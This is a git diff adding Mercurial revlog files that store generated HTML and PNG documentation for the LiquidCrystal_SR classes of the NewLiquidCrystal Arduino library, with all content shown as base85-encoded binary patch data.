b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r.png.i new file mode 100644 index 0000000000000000000000000000000000000000..0dad6b35856099932b55d26a330b887824e4ff7b GIT binary patch literal 1101 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r1__w.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r1__w.html.i new file mode 100644 index 0000000000000000000000000000000000000000..703195135cb364d9a170d9e9bc221ec934cf1174 GIT binary patch literal 7717 zcmXwcRZtuXuq=xN2n0`XcUWA4ySw}15}e=~Bv^1=+}+(Ru(&Pm?gR_&a8K^LudAk~ ztEPXZ=4ToP00V&eUwmSKf#FL2e;TIp{r}KjxC^pwa;5nsd*h=MB0-fq9h?1sp8sv0 znG^bc%DX(+?>WlbD6wFQX>PxtUsmLRz?P$}FQWJ7UaowaN;{3ZYdnWMN#`a0gYJf_ zIC_Te7lm*;OB}nGP$WC;rWoe{Qd*d7my0 zr*A*o%qej0ETIc-vyskvzs_EKU@sPfAG&?=6{?xg=NhEFowk2fov|4nxXjUv*VlCk zHbeDzirC(bdfLtnRw!6JIi9y+?nQe^#|(_m)Te%z*ns@zG3zGlE{*vDV2i8D`4CDL zE5;&JSCSegf!ZCzTn;KglL)4z!#B*zDqw`}q_V_pqmvzGUP{uj5^t_^ze!l(gps#X zGjI2|$o5pHoZXZiZWhqfGS~KM=`=v5L^7uWF(VMDx05hT$N;bd&cn#JJAHA+4$3D_ ziw8Jj89sr-J&&QJwIp0B!)F$wn_^~5H7CfD$i6RRJmij}&#S_i+mRNYMPstC#W}-yqOjB)^AKyGQYzu5|m(OIe z_|a1fk}wI#a>l1YR|ae|+Jk@y(kM9G**K!pV{4yW1Y@vz@U9>k6c7qzy^5V-Vl7og z`&cGyjx7g)SVrBo~YQ82)kuFt?6|nxZgAe&v>JOl3G8S%YY7<(TH8q6hF*F7{2b^gN?AK_=MXQMaf1jxhIFTs77xp_?xBL-?|GzdR4eb zI?^wp_g8ZA;FEY{0h>|<@-1aLVUZ!-4({IwZ-`LLYyUOzmCo!`RT6jSV0KNi=TBNH z&Cj9lCMHsprT|dhtItlhh1)KzyeEDKD98YT=zcSS=+T~in zs|YGVOJ-msY`>{v>O@R1Dm|smrmteXN86C=n2evFQjxgD&yErovkeqxbC#d?AJ3_y zqdEQil)7~oJxG3SqN2D2hCs8$<>=^olBQBNQ%EJeYT2(kI{zZMq22^o z!`IxV2G-gqvUbv<;4#F{Al#rK4wlsI; znEHz`?1@T&shRpM!CwK)m(|8_tmubLE>gNk*3sNssJpQoZ#Ew!s>37xD*xqotA<$U zt2HoNVZ-T0@z02i=bJ1$2eDV&AQeehI*@T3;2h40@9@5QOK_bh?aDO-FitQ9?jvJN z9XTV&e+9tl?+)^@r(pf&&Pxos<&(=vL?#r~*jr_nG-O=liU*VsHGnyDUgYLTgCJVl zsA{j$hRL+}=yDsD;)7S)niiqp%*88DuF1|>nfQSm3w|WHKgcL9l)uL2@t+M5mbT|r zM91o&zRn3=M!z~Woj7UZ>smLh)P#f0%kTMr;04Yl3rhMZXrdCYet!}s2{YTkgU-{R z5}%%Z#_ltxj1#9>Rl3U4(MY=;=_Ffr7a)>qz=yZu<>kFxC#x@4nNvuEEAROA`_8^l z86QNoKnC^FO+-*)K+sPhCs{45jdztlqd^{AUM|1UDDH(-j!C?)5I{{U`Euy}mgJ;7 zd~9_XI%)RPWYZE2|J=J_JLn?$;Ygb2o^x*CRO?Oic zB)VGB>)!(3IMLD5?LiMPvdNBe!~^MShh6=-z871V9}j25KOvYhhl{9QNtqeNB@^jE zpPIz&$}2x780x|-DS#>8eg}BY=5QC`=;0z;G&6Ffpq`vZoer4pok-~zo8BkQxij)_L?^+;)G$ULcloi$M%vbFomRCmtqK*W zUr{RY3P-OZvA+KeOP~e83+?xaK&+@ggG&;ag!!^51}E%!xL!PK-@+dzXv)REu2d2R zs<1b$n776r>nCn=xnvXaP@Vfd3ZC`$96iAo;*l^$&y^T@eh@tb1t1>U1n?YX9__)z zi2)?pFvQVJRV_CO8FsR;wJph5KbrukyOo=7Ykd1xi;9<%y5WWA&;T?RdCvstCk5XW zDXTxY711r7;{T?^(Qgi5eFQ**u*+i1w*lU?3v!Qb+p%(>^%&lb0#KdJ97 zqvsnkG;s2OUqdZ+9BE!-KRK;3l-0f%m6d6S?b>VR`^wY9eTu6l$C8e0cwvu#(wA$n zJliHWwNpTiA4AahBL*tU+}|k^%Z;2ON0} zR_HeW-90dr@--uOx{;M0}_Grb{iMU$3T+hjGN} zEJoO2L$e~-!lZB{f};x>w}0b(*u=ol-38%}}i4pbv!YFRCk-B-RFU7&7? zh8rqzFYujns2X_ceLPqk3~S**W0N9G4pn)2Jnp>?=^LBXsDCd_Erz9gVyyo5u5>YB zNciV`Z`%xh6+4?4z-Qf|xHAR5gqL;R)}K~C5=QJy!u%r%Z!CyL-R{^jZrOnUp-Uof zr;{MoO#?O5NE|8nZ-V5UsE`-TQvH5(YN|K+Op4A0iD>ctl;sqf+T*2rEtU&5 z(i~Sh9CnSVT)?dJW@@qSSZ`hyuv?B+YFU02RoSou(DcRTfW&1pJg&IZEg|h0_GoCV zva9&X`9%{QQEJ>NB)Kc~G0*iL1DuQ^Df=q7m@Hz^!B&c{Q zP-|QTSw^C9@}$lO{*e`^FWVltd9y953_7n%$&h(UtaD+_Datg*N%*(GYt4oG1u007 z2cPhnb*ZEW@ldpy?cjZA(N35WP9=*5Vy>Z`7bX0%UCclXxA_> z-zNX5|IqZ0{)H`JtJS*Fp2dd8;*b(9Ww96gUA)YHv;Pmz%z1-}SgH|CD2R|UdhrAl z$Tm3Gf3S7t;OL=kxp%MNA=|+*$Zu-tk(zx=A*9hi6j_})G77Y^bW=7ri9cJUG(15UXJ8FX87cE_IR)mM(g5V!z)nKHwHHfaFY5SvabvD6MQ=?BgyJ}BSw610-8bM`d1fv>Z+F{k3XZla|nNT*>1uF>2&YuMeGEhy?8U=F2H@TXSN$W)yk|tHT`H^#rAM zrmXV+8nx(er;)SxKE^6^kMc0k6=lmM%h=lDF^nGm#Y81>eWOkON4SBhQP7!3?fZ5o z^6<)53I||jR>4n+VDM0!>gEyv-NU!h9i*iKdzx@dy=^Y9QnFK8Yf<#7y2BO{4I=bL zy2~11y)YzH!pJ`0TZj6Got|0G6~&b2%f@HrHP&rS~J&nr4QeOB+PIuHj^i% z&i}etU@O;JFm)OjiIH?v$t`nxv zDD+w&JUdJHZh~jD(igMolQ!}$Lii$mx<@Y+a8?yDLsm9L5>5j||1dz-f>`nlaZa*3 zbI3Dj()T@vw0GU@MjWop%Ce3BU1if_#`sK24VxHU;iOmLH~L{2F`J-7Ikq4!#SX1mV>Vc z`b*srm9H;tvvaDscj;g6>s}jU-W<0tT7-I8(9!YI-zkLQ*y3(Wc?i-!eISWS5-&Cr ziwQV^N92k;w>a~Dt5$qnua$F%qdA~(d^O`36eb*8H5z2eAxV0iBj*zThH{jM7b^)q zV)gu{_99p~Ya4TI$6n1lv^)D^BRZz%N_1|&$=V(Cz2;rpMLgGi2TRH$b=Rq=w6=_r znBHJijNrR`2zXbD`?D&fzj6`o^cKSkhKYL;jjl2~QPFwkrShPFru|;dOZI{`lGsxV zyj+@)*M_E2B5!PD{eFi9>&vZM8D;8&Rbs(IH!bW+Q7iBCHhDH181BOMYpeusV`R<4 zFPr0%sEtHu600xqJD5o5?cu0*7IE`=Qi;i~X58(GPu&H;({kkN;U-C{*pZGx!&L1*uOwx@pCVIm zzw(Y!HBvT~FD!`C6|%d6ps@k!EH|Cu^yhj}{MjgLrW>~y-UGvpD5@flqPraX6k=nd z_2uc+0NG45HWwh`tbtP>q9Q!;c*qm9-!$_XVbTPOYq`MAFQl|3s`%aKG$IKW_i&u9w_Y@ULO;z3>n3 z#(v-Ry3j>YeKz5U-#fX&U`qI4SPeWFt30MPLa}ElRR`>m(@6Lfg0UydMFKrUCYVLD z8RVqTyxf}EQTcIdEHDv>y*+7o-VNWHewp8eEhB*uDr^y|_VrRP+7cewKZ;M57B=T* zpON{G7dJQkGXCe9J^f)2h3($l=;Kyd3nK_I@GsG(OEPULHLK}0>xxMK ziUj+!GgoK(!n9u5M|1)71}aYSbICkh&m=QfcOXoLmL z$Qr|WXz2Yjb59?Pnd@GMH;Ee_HU>OlxORq2s#^puL{;(^wvYc1ni8LTswLv*h-BN;3~Swug&^ic8zQtoC%kmlNAM6Kkx;sg2zNsqJH(|43pMw+A-zxJ(_1 zwFQv`nlhZ~sM|7)R)CzCmzW2dB5YSP8T9FjS!2bnSNahQGi2snGEcS^nyMF8 zP;J5zc*i}&kcqJAts?`xlGI+5rM77%L;qa>2tuf?)@or|DO7 zYtQ}VfS}g|&FO&s^)67?^jU0(4`jQNXhH>#kW(JOJ|Jk}15{yev^Lk>vSaPG&rf?* z@0xhP(nv`K@N2EkVBE>QV$t6%_#YrS4O52~dRvu6YTH|8)Mnt?Z=|pL*LJ^0*<-yBSD`E=O)q!X0*s>H*fwfP735l{yAE^j;dZR$t*HPxNHdm;jtK*<$Hr;EEG9B>Bq66oquRj zzPnrsWsF4kWbG@)FW)YDqg;8BOj|um9@`y@%?EWm|Jal+53=!RG#y^`cADaCuP_TWkdp_-IySl|UROEU#KIr}VxMH*;d7}5c7u}BU!2&$Q;vBc3 zFL6s<^xq3<(9BDhBffZvHAxkux*kI*zfgWH71peI#8|~(c|ifOi;;FDIi2mbV?{9= zxx|;q$4q{?QIyR%fUc3D*e>d`Al%=@*1o!0IQ85fhF+du%x`r^3N_y{+0Sb$lAm3G z7Ln`)%U08o>;Vbl-eQ z=Q+-yx+d!HsAVGd5z;U`9AB2lF&zI6?h2vhGfC03b54HDzTEiD>b_YaXm%g_$?PKD zr1OpoWKni68@PBk7f#(Sr2*7+B-oG04#t+LuX~#&1W3IKSR#*@WPa`{Q1&71wPrW+ zEc8e_(*CT27Yq@NS9At6jB?}JrkgN5;QpTFsgj2KeEmu3+S=H+aR^c zcsKIODhc@)eTj(wF+c_e#zNws`VW2o72scFhW(k5K&-uoB0j9Op8Z#egt+jh#{WA0 zk32I$alLZ=tQes`gXBbU;Gt&lj`q#K@Ne8?j7KKu6b~@g8TORc>N7{@Lh;%;zdJ6r z3Ot=wP9yBL!c1u1_nyUvCppMFNX>bC%rrs~-~uAAZ=78r9a`MEk;wL0eyVMbh9?TV z3^V4Lg_*Zzn0XVq8`GoHqbRR;n~A(t2O4V?QoLCZJ8#4``_6_BQInajjFVF{7t8O+ z6zHr(4vkw_3?&DxO5k#N1|vd-53HAkQ8(pCm9ej$(fw%>dH5bA8(7Y+7!)M_i1CSk zse~iV{x*m3oY#O$N;wUftb#RibbK#IMIFo+6_3{RVlVNZ;A#>F1n@S$5i)TinGDuaMVyR*DPBqTf%*H0Fjv WIosrBFc$y_J^)RLo7r z2NAd5Hb(`bBcGYiJe{<7?Nl)_rNeuTXZjY1oN+n2-Mk~}qu@HC|uRJW(`^rMJyc$D?KwfAN>! pSN?82yj@hg`Rc8Z3lmJPNgVK)rL4JF`ccNcsY&0f*?WU>qXF%Tc{l(7 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r1__w.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r1__w.png.i new file mode 100644 index 0000000000000000000000000000000000000000..9a2155b080a2d144efc22d383d89f35f224acfe0 GIT binary patch literal 1140 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 